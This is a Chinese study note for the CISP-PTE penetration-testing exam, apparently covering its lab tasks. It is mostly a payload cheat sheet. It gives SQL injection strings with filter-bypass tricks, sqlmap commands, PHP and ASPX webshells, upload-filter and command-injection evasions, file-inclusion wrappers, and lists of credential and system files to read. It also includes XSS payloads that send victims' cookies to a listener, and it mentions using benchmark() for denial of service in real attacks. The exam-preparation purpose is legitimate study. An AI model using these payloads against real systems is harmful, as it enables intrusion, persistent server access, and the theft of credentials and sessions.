2021 CISP-PTE 笔记
SQL注入
-
联合查询注入 :
union all
语句,联合查询语句用于操作符用于合并两个或多个 SELECT 语句的结果集,all的意思允许存在重复的结果集。考点联合查询注入技巧就是注意语句的闭合以及WAF的绕过。1
id=-1’ union all select 1,2,3,4,5 -- -
-
基于报错注入 :
updatexml
函数是一个更新xml文档的函数,由于updatexml
的第二个参数需要Xpath格式的字符串,以0x7e
开头的内容不是xml格式的语法,concat()
函数为字符串连接函数显然不符合规则,最终会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了考点报错注入技巧就是靠背格式,0x7e可以替换为1也可以替换成~,但是推荐使用0x7e,不然会出现显示不全的情况。1
id=-1' or updatexml(1,concat(0x7e,(select version()),0x7e),1)-- -
-
二次注入 : 当我们注册一个
admin'#
账户并用这个账户修改密码时- 环境:/sqli-labs-master/Less-24/
- 二次注入SQL语句:
1
use `security`; UPDATE users SET PASSWORD='123456789' where username='admin'#' and password='12345678'
简单理解一下。最终实际的SQL语句:
1
UPDATE users SET PASSWORD='123456789' where username='admin'
-
基于时间的盲注 :
benchmark
函数与sleep
函数,benchmark
函数是Mysql的一个内置函数,其作用是来测试一些函数的执行速度,而sleep
函数就是一个延迟函数,时间盲注的特点就是根据服务端的响应时间来判断,所以实际做题中最好把浏览器中的F12开启,方面对照,下面演示两种方法的语法- 第一种方式:执行1000000000000次md5加L1917,实战中可以用于SQL DDOS
1
select benchmark (1000000000000,md5("L1917"))
- 利用
benchmark
延时函数判断数据库版本
1
id=1' and if (substring(@@version,1,1)=5,benchmark(1000000,md5("L1917")),null)-- -
- 第二种方式:
1
id=1' and if (substring(@@version,1,1)=5,sleep(5),null)-- -
-
基于布尔的盲注 :
ascii
与if
两种方式,ascii
是一个加密函数,用于加密文本为成ascii码,if则是一个判断函数- 第一种方式:ascii加密由substr函数分割出来的第一位数字,当这个数字的ascii码等于53时,页面返回True
1
id=1' and ascii(substr(@@version,1,1))=53-- -
- 第二种方式:if判断由substr函数分割出来的第一位数字是否等于5,是则返回True
1
?id=1' and if((substr(@@version,1,1))=5,1,null)-- -
-
堆叠注入 :先理解堆查询与联合查询注入的区别,堆查询是以分号;结束一条SQL语句,而联合查询是将两条语句合并在一起执行,区别在于堆查询可以执行任意的SQL语句类型,而联合查询执行的语句类型有限。
1
id=1;create table test like security
-
宽字节注入:概念理解,当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个字节时,称其字符为宽字节,而所有英文默认占一个字节,汉字占两个字节,为什么有宽字节注入?程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,处理过后的单引号不能起闭合作用了,因为其单引号已经被转移成‘内容‘。
理解语句被没有使用单引号闭合,而是用%df%27组成一个運字去绕过闭合。1
id=-1%df%27 union select 1,(database()),3-- -
-
POST型注入/Cookie 注入/HTTP 头部注入与SQLMAP:一般这种注入类型都需要通过Burp抓包去做,也可能直接使用SQLMAP跑(无WAF的情况下),这里需要讲的一点星号*,在SQLMAP中一般在存在SQL注入参数后面接星号*,HTTP 头部注入一般存在于Referer与User-Agent这两个参数。Burp抓包然后另存为sql.txt:
1 2 3 4 5 6 7
POST index.php?id=1* HTTP/1.1 Host: 127.0.0.1 Connection: close Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Referer: https://127.0.0.1/ Cookie: 111
1 2
POST SQLMAP:sqlmap.py -r sql.txt --batch --level 5 --risk 3 GET SQLMAP:sqlmap.py -u http://xxx?id=1* --batch --level 5 --risk 3
-
注入绕过技巧总结:
空格绕过空格绕过:/**/,%a0,%0a,括号绕过空格id=-1'/**/union/**/all/**/select 1,2,3-- -
关键字绕过关键字绕过:双写,大小写绕过,其它函数代替id=-1' ununionion select 1,2,3 -- -
id=-1' UnIOn SEleCt 1,2,3 -- -
引号绕过:使用十六进制加密id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273-- -
逗号绕过:利用from1' and if (substring(@@version from 1 for 1)=5,sleep(5),null)-- -
比较符号绕过:betweenid=1' and if((substr(@@version,1,1)) between 5 and 5,1,null)-- -
or and xor not绕过and=&& or=|| xor=| not=!
注释绕过-- - # --+
文件上传
-
思路:先修改Content-type头上传PHP测试能否上传(判断是否为MiME绕过),然后再上传一张正常的图片jpg格式,在后面插入一句话木马,测试是否能上传(判断文件内容头校验绕过跟内容检验绕过),都不是那只有黑名单或白名单或者条件竞争了,考虑到考证,白名单有点无解,而且没有提供Fuzz字典,条件竞争难道系数太高,那应该就是黑名单绕过,思路有两种:测试能否上传.htaccess或者.user.ini文件
1 2 3 4 5 6 7
.htaccess文件一句话:setHeadler application/x-httpd-php .user.ini文件格式: GIF89a auto_prepend_file=a.jpg 使用.user.ini文件绕过一句话木马应该写成:<script language='php'> @eval($_POST['pass']);</script>
不行就绕后缀,%00截断、php大小写、php3、php4、phtml、空格绕过、pht、phps,这里建议用靶机给的图片马当Webshell,然后自己绕后缀
-
一句话木马:
-
aspx马一句话
1
<%@ Page Language="Jscript"%><%eval(Request.Item["lbw"],"unsafe");%>
-
条件竞争php马
1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>
-
系统命令执行马:
1 2
<?php echo `$_REQUEST[lbw]`; ?> <?php passthru($_REQUEST[lbw]);?>
-
-
Apache文件解析问题
-
在Apache1.x、2.x中,对文件名解析有以下特性,Apache对于文件名的解析是从后往前解析的,直到遇一个Apache认识的文件类型为止,如以下例子,因为Apache不认识.rar文件类型,所以会一直遍历到后缀.php,然后认为这个一个PHP类型的文件。
1
lbwnb.php.rar.rar.rar.rar.rar.rar.rar.rar
-
-
IIS解析的问题
-
在IIS6中,分号
;
字符可以截断文件名,如,最终结果将会解析webshell.asp1
webshell.asp;abc.jpg
-
在IIS6中,还可能因为处理文件夹扩展名出错,导致/*.asp/目录下的所有文件都会被当做ASP文件解析,如以下例子,这里的webshell.jpg最终会被当作ASP文件作解析。
1
http://localhost/path/webshell.asp/webshell.jpg
-
IIS中的PUT任意文件上传问题,可以先使用OPTIONS探测服务器信息是否开启并支持PUT任意文件上传,还可以使用MOVE改名。
-
-
PHP CGI路径问题
-
当上传一个这样的文件的时候,dasdadsa.php是不存在文件,php CGI会将123.jpg当作PHP来解析
1
http://localhost/path/123.jpg/dasdadsa.php
-
-
代码执行/命令执行
-
思路:重点知道怎么绕过
-
空格过滤绕过:$IFS、<>、%09(要求php环境)
1 2 3
127.0.0.1|sort$IFS../key.php 127.0.0.1|sort<>../key.php 127.0.0.1|sort%09../key.php
-
管道符绕过:分号;、&、&&
1 2 3
127.0.0.1;sort ../key.php 127.0.0.1&sort ../key.php 127.0.0.1&&sort ../key.php
- 消除后缀:%20%23
1
sort ../key.php%20%23
- 黑名单绕过:字符拼接、单双引号、反斜杠、通配符
1 2 3 4
127.0.0.1|a=lbw;b=so;c=rt;d=..;e=x/ke;f=y.ph;g=p;$b$c<>$d$e$f$g 127.0.0.1|c""a""t ..''/''key.php 127.0.0.1|c\a\t .\.\/\k\e\y\.\p\h\p 127.0.0.1|sort ../k??.???
-
cat命令绕过:more、less、head、tac、tail、nl、od、vi、vim、sort、uniq、file-f、grep
1
127.0.0.1|sort ../key.php
-
文件包含
-
思路:记住几个伪协议的使用方法,如果遇到POST型的回调马且密码为z0的记得用菜刀连
-
php://filter可以作为一个中间流来处理其他流,这个伪协议的作用是指定php文件的源码以base64方式编码并被显示出来
1
php://filter/read=convert.base64-encode/resource=../key.php
-
利用data协议执行php语句,注意一点是,php语句要用base64加密,遇到加密后的+号要转换成URL编码%2b
1
data://text/plain;base64,<?php?>
-
php://input 在POST 请求的情况下可以访问请求的原始数据的只读流,可以理解为利用这个协议可以使用POST的方式执行php语句
1 2
php://input POST:<?php system("ls") ;?>
-
file=phar://协议可以读取压缩包里边的内容,比如我们将一个压缩包命名为lbw.jpg,用file=phar://函数我们就可以读取到压缩包里面的lbw文件
1
file=phar://upload/lbw.jpg/lbw
-
Windwos环境下的敏感文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 C:\Windows\win.ini //Windows系统的一个基本系统配置文件
-
Linux环境下的敏感文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥 /etc/passwd //账户信息 /etc/shadow //账户信息 /etc/my.cnf //mysql配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /root/.bash_history //用户历史命令记录文件 /root/.mysql_history //mysql历史命令记录文件 /proc/mounts //记录系统挂载设备 /porc/config.gz //内核配置文件 /var/lib/mlocate/mlocate.db //全文件路径 /porc/self/cmdline //当前进程的cmdline参数
-
日志分析
- 思路:用notepad++一点一点的筛选,用搜索功能搜索一下有没有敏感词,比如flag、key、shell、admin、phpmyadmin等等,然后设为标记行后把非标记行全部删除,再次利用同样的方式筛选出200状态码的标记一下,然后把非标记行删掉,最后只剩那么几行,然后肉眼看一下有什么敏感的目录或者敏感文件。
爆破
-
爆破题目暂时分三种情况吧
-
第一种是是验证码复用/验证码绕过,验证码复用就是验证码永远不会过期,并不经过后端校验,可直接使用Burp爆破,同理,验证码绕过也是,不经过后端校验,只是前端验证,删除验证码参数后照样可以发包的情况下,就存在验证码绕过。
-
第二种情况是利用用户枚举进行密码爆破,随便输入一个账户提示账户不存在的情况,需要我们先爆破存在账号,再进行存在账号的密码爆破
-
第三种是复杂类型的爆破,比如撞库爆破、Token爆破
具体做法(token):https://www.cnblogs.com/ApricityJ/p/12628962.html
撞库爆破:与token爆破差不多,pte应该考不上。
-
XSS
-
第一种:http的方式接收cookie,考虑到如果到时候没有php环境,所以推荐使用js脚本反连打cookie
-
XSS 打Cookie一句话
1
<script>window.location='http://127.0.0.1:8080/x'+document.cookie;</script>
-
python开启web
1
python -m SimpleHTTPServer 端口
-
-
第二种:nc接收的方式,跟第一种方法差不多,先监听端口
1
nc -nlvp 7260
然后插XSS payload:
1 2 3
<script type="text/javascript"> document.location='127.0.0.1:6666/x'+escape(document.cookie); </script>
技巧
- 如果没有思路题目做不出来或者思路卡死了,谷歌浏览器URL输入:localhost:3443,AWVS功能很强大,基础题除了日志分析,基本上都可以扫描出来,并提供上Payload,awvs的账户密码存放在攻击机的桌面上。